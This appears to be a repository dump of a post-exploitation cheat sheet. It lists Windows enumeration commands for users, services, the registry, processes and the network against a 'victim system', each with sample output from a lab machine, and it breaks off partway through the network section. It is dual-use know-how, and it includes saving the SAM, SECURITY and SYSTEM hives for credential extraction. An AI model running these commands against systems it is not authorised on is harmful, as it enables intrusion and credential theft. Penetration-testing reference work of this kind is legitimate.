### c:\windows\system32\gathernetworkinfo.vbs
* **Command**: `c:\windows\system32\gathernetworkinfo.vbs`
* **Command with arguments**: NA
* **Description**: **Windows 7 Only** Script included gathers data about the system and stores output in files in the `c:\windows\system32\config` directory. External link [here.](http://www.verboon.info/index.php/2011/06/the-gathernetworkinfo-vbs-script/)
* **Output**:
* NA
### echo
* **Command**: `echo`
* **Command with arguments**: `echo %COMSPEC%%`
* **Description**: Determine the location of the command line interpreter such as cmd.exe.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>echo %COMSPEC%<br>C:\Windows\system32\cmd.exe</code></div>
### fsutil
* **Command**: `set`
* **Command with arguments**: `fsutil fsinfo drives`
* **Description**: **Must be ADMIN to run this.** Lists the current drives on the system.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Windows\system32>fsutil fsinfo drives<br><br>Drives: A:\ C:\ D:\</code></div>
### gpresult
* **Command**: `gpresult`
* **Command with arguments**: `gpresult /z`
* **Description**: Extremely verbose output of GPO (Group policy) settings as applied to the current system and user.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>gpresult /z<br><br>Microsoft (R) Windows (R) Operating System Group Policy Result tool v2.0<br>Copyright (C) Microsoft Corp. 1981-2001<br><br>Created On 10/15/2013 at 7:02:05 PM<br><br><br>RSOP data for LAB\johndoe on WIN-0P19ULL2NB6 : Logging Mode<br>------------------------------------------------------------<br><br>OS Configuration: Primary Domain Controller<br>OS Version: 6.0.6002<br>Site Name: N/A<br>Roaming Profile: N/A<br>Local Profile: C:\Users\johndoe<br>Connected over a slow link?: No<br><br><br>USER SETTINGS<br>--------------<br> CN=johndoe,CN=Users,DC=lab,DC=sky,DC=net<br> Last time Group Policy was applied: 10/12/2013 at 6:20:23 PM<br> Group Policy was applied from: WIN-0P19ULL2NB6.lab.sky.net<br> Group Policy slow link threshold: 500 kbps<br> Domain Name: LAB<br> Domain Type: Windows 2000<br><br> Applied Group Policy Objects<br> -----------------------------<br> N/A<br><br> The following GPOs were not applied because they were filtered out<br> -------------------------------------------------------------------<br> Local Group Policy<br> Filtering: Not Applied (Empty)<br><br> Default Domain Policy<br> Filtering: Not Applied (Empty)<br><br> The user is a part of the following security groups<br> ---------------------------------------------------<br> Domain Users<br> Everyone<br> BUILTIN\Users<br> BUILTIN\Administrators<br> BUILTIN\Pre-Windows 2000 Compatible Access<br> NT AUTHORITY\INTERACTIVE<br> NT AUTHORITY\Authenticated Users<br> This Organization<br> LOCAL<br> High Mandatory Level<br><br> The user has the following security privileges<br> ----------------------------------------------<br><br><br> Resultant Set Of Policies for User<br> -----------------------------------</code></div>
### set
* **Command**: `set`
* **Command with arguments**: NA
* **Description**: Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>set<br>ALLUSERSPROFILE=C:\ProgramData<br>APPDATA=C:\Users\johndoe\AppData\Roaming<br>CommonProgramFiles=C:\Program Files\Common Files<br>COMPUTERNAME=WIN-0P19ULL2NB6<br>ComSpec=C:\Windows\system32\cmd.exe<br>DFSTRACINGON=FALSE<br>FP_NO_HOST_CHECK=NO<br>HOMEDRIVE=C:<br>HOMEPATH=\Users\johndoe<br>LOCALAPPDATA=C:\Users\johndoe\AppData\Local<br>LOGONSERVER=\\WIN-0P19ULL2NB6<br>OS=Windows_NT<br>Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem<br>PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC<br>PROCESSOR_ARCHITECTURE=x86<br>PROCESSOR_IDENTIFIER=x86 Family 6 Model 42 Stepping 7, GenuineIntel<br>PROCESSOR_LEVEL=6<br>PROCESSOR_REVISION=2a07<br>ProgramData=C:\ProgramData<br>ProgramFiles=C:\Program Files<br>PROMPT=$P$G<br>PUBLIC=C:\Users\Public<br>SESSIONNAME=Console<br>SystemDrive=C:<br>SystemRoot=C:\Windows<br>TEMP=C:\Users\johndoe\AppData\Local\Temp\1<br>TMP=C:\Users\johndoe\AppData\Local\Temp\1<br>TRACE_FORMAT_SEARCH_PATH=\\winseqfe\release\Windows6.0\lh_sp2rtm\6002.18005.090410-1830\x86fre\symbols.pri\TraceFormat<br>USERDNSDOMAIN=LAB.SKY.NET<br>USERDOMAIN=LAB<br>USERNAME=johndoe<br>USERPROFILE=C:\Users\johndoe<br>windir=C:\Windows</code></div>
### whoami
* **Command**: `whoami`
* **Command with arguments**: `whoami /all`
* **Description**: Lists information about the user you are currently logged in as. Helpful for showing what groups, sid and privileges of this user. Not available in all versions of Windows but is in Windows Vista and more recent. According to [Wikipedia](http://en.wikipedia.org/wiki/Whoami), this command can be added to Windows 2000 using the resource kit and is installed in Windows XP SP2 Support Tools.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>whoami<br>lab\johndoe<br><br>C:\Users\johndoe>whoami/all<br><br>USER INFORMATION<br>----------------<br><br>User Name SID<br>=========== ===========================================<br>lab\johndoe S-1-5-21-60789211-843652525-1994898995-1001<br><br><br>GROUP INFORMATION<br>-----------------<br><br>Group Name Type SID Attributes<br>========================================== ================ ============ ==================================================<br>Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only<br>BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only<br>NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group<br>LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group<br>Mandatory Label\Medium Mandatory Level Unknown SID type S-1-16-8192 Mandatory group, Enabled by default, Enabled group<br><br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name Description State<br>============================= ==================================== ========<br>SeShutdownPrivilege Shut down the system Disabled<br>SeChangeNotifyPrivilege Bypass traverse checking Enabled<br>SeUndockPrivilege Remove computer from docking station Disabled<br>SeIncreaseWorkingSetPrivilege Increase a process working set Disabled<br>SeTimeZonePrivilege Change the time zone Disabled</code></div>
### type
* **Command**: `type`
* **Command with arguments**: `type %WINDIR%\System32\drivers\etc\hosts`
* **Description**: Show the contents of a file. In this case, you can get the system's host file which does the local translation of IP address to hostname. This file may contain important servers.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>type %WINDIR%\System32\drivers\etc\hosts<br># Copyright (c) 1993-2006 Microsoft Corp.<br>#<br># This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br>#<br># This file contains the mappings of IP addresses to host names. Each<br># entry should be kept on an individual line. The IP address should<br># be placed in the first column followed by the corresponding host name.<br># The IP address and the host name should be separated by at least one<br># space.<br>#<br># Additionally, comments (such as these) may be inserted on individual<br># lines or following the machine name denoted by a '#' symbol.<br>#<br># For example:<br>#<br># 102.54.94.97 rhino.acme.com # source server<br># 38.25.63.10 x.acme.com # x client host<br><br>127.0.0.1 localhost<br>::1 localhost</code></div>
----
## Registry (reg)
For more information: http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/reg.mspx?mfr=true or http://www.petri.co.il/reg_command_in_windows_xp.htm
### Add
* **Command with arguments**: `reg add [\\TargetIPaddr\] [RegDomain\Key]`
* **Description**: Adds a key to target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to insert.
* **Output**:
* NA
### Export
* **Command with arguments**: `reg export [RegDomain\Key] [OUTFILE]`
* **Description**: Exports a key to a file. Replace [RegDomain\Key] with the registry domain and key you'd like to insert and [OUTFILE] with the name of the file you would like to save the registry key in.
* **Output**:
* NA
### Import
* **Command with arguments**: `reg import [INFILE]`
* **Description**: Imports content to target machine's registry. Replace [INFILE] with the file that has the content you wish to insert.
* **Output**:
* NA
### Query (Local)
* **Command with arguments**: `reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"`
* **Description**: Securely registered executables within the system registry.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>reg query HKLM /s /d /f "C:\* *.exe" &#124; find /I "C:\" &#124; find /V """"<br> (Default) REG_SZ C:\Program Files\VMware\VMware Tools\TPVCGateway.exe<br> (Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareCplLauncher.exe<br> (Default) REG_SZ C:\Program Files\Internet Explorer\iexplore.exe<br> LocalizedString REG_SZ @C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe,-1008<br> (Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareHostOpen.exe,-101<br> (Default) REG_SZ C:\Program Files\Internet Explorer\IEXPLORE.EXE<br> (Default) REG_SZ C:\Program Files\VMware\VMware Tools\VMwareTray.exe<br> 627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\rpctool.exe<br> 627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\VMwareCplLauncher.exe<br> 627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\VMwareToolboxCmd.exe<br> 627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\unzip.exe<br> 627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\VMware\VMware Tools\vmtoolsd.exe<br> 627BF46A150AF194A92056AAE2EFA363 REG_SZ C:\Program Files\Common Files\VMware\Drivers\vss\comreg.exe</code></div>
### Query (Remote)
* **Command with arguments**: `reg query [\\TargetIPaddr\] [RegDomain\Key] /v [ValueName]`
* **Description**: Retrieves a key and value from target machine's registry. Replace [\\TargetIPaddr] with your target system, [RegDomain\Key] with the registry domain and key you'd like to query.
* **Output**:
* NA
### Save
* **Command with arguments**: `reg save [HIVE] [OUTFILE]`
* **Description**: **Must be run as an administrator.** Saves part of the registry to a file. Replace [HIVE] with HKLM\Security, HKLM\System, or HKLM\SAM and [OUTFILE] with the name of the file you would like to save the registry in.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>c:\temp>reg save HKLM\Security security.hive && dir<br>The operation completed successfully.<br> Volume in drive C has no label.<br> Volume Serial Number is 1A09-5F16<br> Directory of c:\temp<br>10/26/2013 11:17 PM <DIR> .<br>10/26/2013 11:17 PM <DIR> ..<br>10/26/2013 11:17 PM 32,768 security.hive<br> 1 File(s) 32,768 bytes<br> 2 Dir(s) 33,312,219,136 bytes free</code></div>
----
## sc
sc.exe retrieves and sets control information about services. You can use sc.exe for testing and debugging service programs. For more information: http://technet.microsoft.com/en-us/library/bb490995.aspx.
<div class="slide" style="cursor: pointer;">Help details can be found if you expand this section here: Show/Hide</div><div class="view"><code>C:\Users\tester>sc
DESCRIPTION:
SC is a command line program used for communicating with the
Service Control Manager and services.
USAGE:
sc <server> [command] [service name] <option1> <option2>...
The option <server> has the form "\\ServerName"
Further help on commands can be obtained by typing: "sc [command]"
Commands:
query-----------Queries the status for a service, or
enumerates the status for types of services.
queryex---------Queries the extended status for a service, or
enumerates the status for types of services.
start-----------Starts a service.
pause-----------Sends a PAUSE control request to a service.
interrogate-----Sends an INTERROGATE control request to a service.
continue--------Sends a CONTINUE control request to a service.
stop------------Sends a STOP request to a service.
config----------Changes the configuration of a service (persistent).
description-----Changes the description of a service.
failure---------Changes the actions taken by a service upon failure.
failureflag-----Changes the failure actions flag of a service.
sidtype---------Changes the service SID type of a service.
privs-----------Changes the required privileges of a service.
qc--------------Queries the configuration information for a service.
qdescription----Queries the description for a service.
qfailure--------Queries the actions taken by a service upon failure.
qfailureflag----Queries the failure actions flag of a service.
qsidtype--------Queries the service SID type of a service.
qprivs----------Queries the required privileges of a service.
qtriggerinfo----Queries the trigger parameters of a service.
qpreferrednode--Queries the preferred NUMA node of a service.
delete----------Deletes a service (from the registry).
create----------Creates a service. (adds it to the registry).
control---------Sends a control to a service.
sdshow----------Displays a service's security descriptor.
sdset-----------Sets a service's security descriptor.
showsid---------Displays the service SID string corresponding to an arbitrary name.
triggerinfo-----Configures the trigger parameters of a service.
preferrednode---Sets the preferred NUMA node of a service.
GetDisplayName--Gets the DisplayName for a service.
GetKeyName------Gets the ServiceKeyName for a service.
EnumDepend------Enumerates Service Dependencies.
The following commands don't require a service name:
sc <server> <command> <option>
boot------------(ok | bad) Indicates whether the last boot should
be saved as the last-known-good boot configuration
Lock------------Locks the Service Database
QueryLock-------Queries the LockStatus for the SCManager Database
EXAMPLE:
sc start MyService</code></div>
### Query Configuration
* **Command with arguments**: `sc qc [servicename]`
* **Description**: Queries the configuration information for a service. Things to look at here are the path to the executable, the start type (does it start at boot or on demand?), and service names.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code> c:\Users\johndoe>sc qc browser
[SC] QueryServiceConfig SUCCESS<br>SERVICE_NAME: browser<br> TYPE : 20 WIN32_SHARE_PROCESS<br> START_TYPE : 4 DISABLED<br> ERROR_CONTROL : 1 NORMAL<br> BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k netsvcs<br> LOAD_ORDER_GROUP : NetworkProvider<br> TAG : 0<br> DISPLAY_NAME : Computer Browser<br> DEPENDENCIES : LanmanWorkstation<br> : LanmanServer<br>
SERVICE_START_NAME : LocalSystem</code></div>
### Query Status
* **Command with arguments**: `sc query [servicename]`
* **Description**: Queries the status for a service, or enumerates the status for types of services.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>sc query browser<br><br>SERVICE_NAME: browser<br> TYPE : 20 WIN32_SHARE_PROCESS<br> STATE : 1 STOPPED<br> WIN32_EXIT_CODE : 1077 (0x435)<br> SERVICE_EXIT_CODE : 0 (0x0)<br> CHECKPOINT : 0x0<br> WAIT_HINT : 0x0</code></div>
### Query Status Extended
* **Command with arguments**: `sc queryex [servicename]`
* **Description**: Queries the status for a service, or enumerates the status for types of services.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>sc queryex browser<br>
SERVICE_NAME: browser<br> TYPE : 20 WIN32_SHARE_PROCESS<br> STATE : 1 STOPPED<br> WIN32_EXIT_CODE : 1077 (0x435)<br> SERVICE_EXIT_CODE : 0 (0x0)<br> CHECKPOINT : 0x0<br> WAIT_HINT : 0x0<br> PID : 0<br> FLAGS :</code></div>
----
## wmi
According to Microsoft (http://msdn.microsoft.com/en-us/library/aa394531(v=vs.85).aspx), "the WMI command-line (WMIC) utility provides a command-line interface for WMI. WMIC is compatible with existing shells and utility commands." Additional information can also be found here https://isc.sans.edu/diary/Windows+Command-Line+Kung+Fu+with+WMIC/1229.
For some of these `wmic` commands that pull information (versus perform an action) you can add `list full` to the end and retrieve the data in a non-table format. Sometimes this view is easier to read. Using `list brief` shows less data. The examples below show several output formats.
### BIOS Information
* **Command with arguments**: `wmic bios [list full]`
* **Description**: Retrieves BIOS information including system serial number.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic bios list full<br><br><br>BiosCharacteristics={4,7,8,9,10,11,12,14,15,16,19,26,27,28,29,30,32,39,40,41,42,50,57,58}<br>BuildNumber=<br>CodeSet=<br>CurrentLanguage=<br>Description=PhoenixBIOS 4.0 Release 6.0<br>IdentificationCode=<br>InstallableLanguages=<br>InstallDate=<br>LanguageEdition=<br>ListOfLanguages=<br>Manufacturer=Phoenix Technologies LTD<br>Name=PhoenixBIOS 4.0 Release 6.0<br>OtherTargetOS=<br>PrimaryBIOS=TRUE<br>ReleaseDate=20120920000000.000000+000<br>SerialNumber=VMware-56 4d 8b 9d 3b a9 3a b4-a7 09 2d ff 09 9a e2 26<br>SMBIOSBIOSVersion=6.00<br>SMBIOSMajorVersion=2<br>SMBIOSMinorVersion=4<br>SMBIOSPresent=TRUE<br>SoftwareElementID=PhoenixBIOS 4.0 Release 6.0<br>SoftwareElementState=3<br>Status=OK<br>TargetOperatingSystem=0<br>Version=INTEL - 6040000</code></div>
### Disk Information
* **Command with arguments**: `wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber`
* **Description**: Retrieve information about the harddrive.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber<br>FileSystem FreeSpace Name Size SystemName VolumeSerialNumber<br>NTFS 33311481856 C: 42947571712 WIN-0P19ULL2NB6 1A095F16</code></div>
### Patch IDs
* **Command with arguments**: `wmic qfe get hotfixid`
* **Description**: Retrieves BIOS information including system serial number.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic qfe get hotfixid<br>HotFixID<br>KB955430</code></div>
### Process Create
* **Command with arguments**: `wmic process call create [EXECUTABLE]`
* **Description**: Launches an executable. Replace [EXECUTABLE] with the name of the executable you'd like to launch (for example: calc.exe). Do not include quotes around the value (for example: *DO* use calc.exe; do *NOT* use "calc.exe").
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic process call create calc.exe<br>Executing (Win32_Process)->Create()<br>Method execution successful.<br>Out Parameters:<br>instance of __PARAMETERS<br>{<br> ProcessId = 1936;<br> ReturnValue = 0;<br>};</code></div>
### Process Information
* **Command with arguments**: `wmic process get caption,executablepath,commandline`
* **Description**: Retrieves process names, captions, executable paths and command line flags.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic process get caption,executablepath,commandline<br>Caption CommandLine ExecutablePath<br>System Idle Process<br>System<br>smss.exe<br>csrss.exe<br>[...SNIP...]<br>dllhost.exe<br>dwm.exe "C:\Windows\system32\Dwm.exe" C:\Windows\system32\Dwm.exe<br>taskeng.exe taskeng.exe {72464C44-C181-4387-A20A-569E0267D2AF} C:\Windows\system32\taskeng.exe<br>TPAutoConnect.exe TPAutoConnect.exe -q -i vmware -a COM1 -F 30 C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe<br>explorer.exe C:\Windows\Explorer.EXE C:\Windows\Explorer.EXE<br>VMwareTray.exe "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" C:\Program Files\VMware\VMware Tools\VMwareTray.exe<br>vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Program Files\VMware\VMware Tools\vmtoolsd.exe<br>cmd.exe "C:\Windows\System32\cmd.exe" C:\Windows\System32\cmd.exe<br>cmd.exe<br>TrustedInstaller.exe<br>WMIC.exe wmic process get caption,executablepath,commandline C:\Windows\System32\Wbem\WMIC.exe<br>WmiPrvSE.exe</code></div>
### Process Terminate
* **Command with arguments**: `wmic process where name="[PROCESS]" call terminate`
* **Description**: Terminates a process. Replace [PROCESS] with the name of the process you'd like to terminate and you *DO* need the quotes around it (for example: calc.exe).
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic process where name="calc.exe" call terminate<br>Executing (\\WIN-0P19ULL2NB6\ROOT\CIMV2:Win32_Process.Handle="1936")->terminate()<br>Method execution successful.<br>Out Parameters:<br>instance of __PARAMETERS<br>{<br> ReturnValue = 0;<br>};</code></div>
### Service Information
* **Command with arguments**: `wmic service [list full]`
* **Description**: Retrieves ton of information about all the services installed on the system.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic service list full<br><br><br>AcceptPause=FALSE<br>AcceptStop=TRUE<br>Caption=Application Experience<br>CheckPoint=0<br>CreationClassName=Win32_Service<br>Description=Processes application compatibility cache requests for applications as they are launched<br>DesktopInteract=FALSE<br>DisplayName=Application Experience<br>ErrorControl=Normal<br>ExitCode=0<br>InstallDate=<br>Name=AeLookupSvc<br>PathName=C:\Windows\system32\svchost.exe -k netsvcs<br>ProcessId=1056<br>ServiceSpecificExitCode=0<br>ServiceType=Share Process<br>Started=TRUE<br>StartMode=Auto<br>StartName=localSystem<br>State=Running<br>Status=OK<br>SystemCreationClassName=Win32_ComputerSystem<br>SystemName=WIN-0P19ULL2NB6<br>TagId=0<br>WaitHint=0<br><br><br>AcceptPause=FALSE<br>AcceptStop=FALSE<br>Caption=Application Layer Gateway Service<br>CheckPoint=0<br>CreationClassName=Win32_Service<br>Description=Provides support for 3rd party protocol plug-ins for Internet Connection Sharing<br>DesktopInteract=FALSE<br>DisplayName=Application Layer Gateway Service<br>ErrorControl=Normal<br>ExitCode=1077<br>InstallDate=<br>Name=ALG<br>PathName=C:\Windows\System32\alg.exe<br>ProcessId=0<br>ServiceSpecificExitCode=0<br>ServiceType=Own Process<br>Started=FALSE<br>StartMode=Manual<br>StartName=NT AUTHORITY\LocalService<br>State=Stopped<br>Status=OK<br>SystemCreationClassName=Win32_ComputerSystem<br>SystemName=WIN-0P19ULL2NB6<br>TagId=0<br>WaitHint=0<br>[...Truncated for brevity...]</code></div>
### Share Information
* **Command with arguments**: `wmic share [list brief]`
* **Description**: Retrieve information about local shares.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic share list brief
Description Name Path
Remote Admin ADMIN$ C:\Windows
Default share C$ C:\
Remote IPC IPC$
Logon server share NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS
Logon server share SYSVOL C:\Windows\SYSVOL\sysvol</code></div>
### Startup Items
* **Command with arguments**: `wmic startup [list brief]`
* **Description**: Shows startup items, which user runs them and full paths to the executables.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic startup list brief<br>Caption Command User<br>VMware Tools "C:\Program Files\VMware\VMware Tools\VMwareTray.exe" Public<br>VMware User Process "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr Public</code></div>
### User Information
* **Command with arguments**: `wmic useraccount [list full]`
* **Description**: Retrieve information about the user accounts on the system.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wmic useraccount list full<br><br><br>AccountType=512<br>Description=Built-in account for administering the computer/domain<br>Disabled=FALSE<br>Domain=LAB<br>FullName=<br>InstallDate=<br>LocalAccount=FALSE<br>Lockout=FALSE<br>Name=Administrator<br>PasswordChangeable=TRUE<br>PasswordExpires=TRUE<br>PasswordRequired=TRUE<br>SID=S-1-5-21-60789211-843652525-1994898995-500<br>SIDType=1<br>Status=OK<br><br><br>AccountType=512<br>Description=Key Distribution Center Service Account<br>Disabled=TRUE<br>Domain=LAB<br>FullName=<br>InstallDate=<br>LocalAccount=FALSE<br>Lockout=FALSE<br>Name=krbtgt<br>PasswordChangeable=TRUE<br>PasswordExpires=TRUE<br>PasswordRequired=TRUE<br>SID=S-1-5-21-60789211-843652525-1994898995-502<br>SIDType=1<br>Status=Degraded<br><br><br>AccountType=512<br>Description=<br>Disabled=FALSE<br>Domain=LAB<br>FullName=John Doe<br>InstallDate=<br>LocalAccount=FALSE<br>Lockout=FALSE<br>Name=johndoe<br>PasswordChangeable=TRUE<br>PasswordExpires=TRUE<br>PasswordRequired=TRUE<br>SID=S-1-5-21-60789211-843652525-1994898995-1001<br>SIDType=1<br>Status=OK<br></code></div>

View File

@ -0,0 +1,372 @@
<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows CMD Network Commands
The Windows commands below will help you gather information about the victim system's network connections, devices and capabilities and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
## ipconfig
### Retrieve Local DNS Cache Info
* **Command with arguments**: `ipconfig /displaydns`
* **Description**: Displays the system's local DNS cache.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>ipconfig /displaydns<br>Windows IP Configuration<br>
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa
----------------------------------------<br> Record Name . . . . . : 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa.
Record Type . . . . . : 12
Time To Live . . . . : 86400
Data Length . . . . . : 4
Section . . . . . . . : Answer
PTR Record . . . . . : localhost<br><br>
1.0.0.127.in-addr.arpa
----------------------------------------<br> Record Name . . . . . : 1.0.0.127.in-addr.arpa.
Record Type . . . . . : 12
Time To Live . . . . : 86400
Data Length . . . . . : 4
Section . . . . . . . : Answer
PTR Record . . . . . : localhost<br><br>
_ldap._tcp.default-first-site-name._sites.win-0p19ull2nb6.lab.sky.net
----------------------------------------<br> Name does not exist.<br><br>
_ldap._tcp.win-0p19ull2nb6.lab.sky.net
----------------------------------------<br> Name does not exist.<br><br>
localhost
----------------------------------------<br> Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . : 86400
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . : 127.0.0.1<br><br>
localhost
----------------------------------------<br> Record Name . . . . . : localhost
Record Type . . . . . : 28
Time To Live . . . . : 86400
Data Length . . . . . : 16
Section . . . . . . . : Answer
AAAA Record . . . . . : ::1</code>
</div>
### Retrieve NIC Info
* **Command with arguments**: `ipconfig /all`
* **Description**: Displays the full information about the system's network interface cards (NICs).
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\jondoe>ipconfig /all<br>
Windows IP Configuration<br>
Host Name . . . . . . . . . . . . : WIN-0P19ULL2NB6
Primary Dns Suffix . . . . . . . : lab.sky.net
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : lab.sky.net
sky.net<br>
Ethernet adapter Local Area Connection:<br>
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-9A-E2-26
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::11bc:e019:25e5:916d%10(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.10.34(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.10.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-19-E6-78-04-00-0C-29-9A-E2-26
DNS Servers . . . . . . . . . . . : ::1
127.0.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled<br>
Tunnel adapter Local Area Connection* 8:<br>
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : isatap.{DDE3DF3D-3417-4EBF-BF66-73BD3A64FF26}
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes</code></div>
----
## Misc
### arp
* **Command with arguments**: `arp -a`
* **Description**: Lists all the systems currently in the machine's ARP table.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>arp -a<br>
Interface: 192.168.10.34 --- 0xa
Internet Address Physical Address Type
192.168.10.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static</code></div>
### wmic
* **Command with arguments**: `wmic ntdomain list`
* **Description**: Retrieve information about Domain and Domain Controller.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>wmic ntdomain list
DomainGuid
{CD5C2FE3-5AFE-459D-804E-A81B49066CAD}</code></div>
----
## net
For more information: http://technet.microsoft.com/en-us/library/bb490949.aspx
### Accounts
* **Command with arguments**: `net accounts [/domain | /domain:OTHERDOMAINNAME]`
* **Description**: Prints the password policy for the local system. Pass it the `/domain` option to query the domain for the domain password policy.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>net accounts
Force user logoff how long after time expires?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 7
Length of password history maintained: 24
